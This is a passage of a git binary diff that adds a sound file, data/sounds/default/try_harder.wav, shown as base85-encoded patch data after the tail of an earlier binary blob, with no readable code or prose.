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 S0NhS31^?aY|Mved1AhXj;E`nj diff --git a/data/sounds/default/try_harder.wav b/data/sounds/default/try_harder.wav new file mode 100644 index 0000000000000000000000000000000000000000..9e3522d22cff54ecf7d7f33a25825a74471edc60 GIT binary patch literal 51068 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 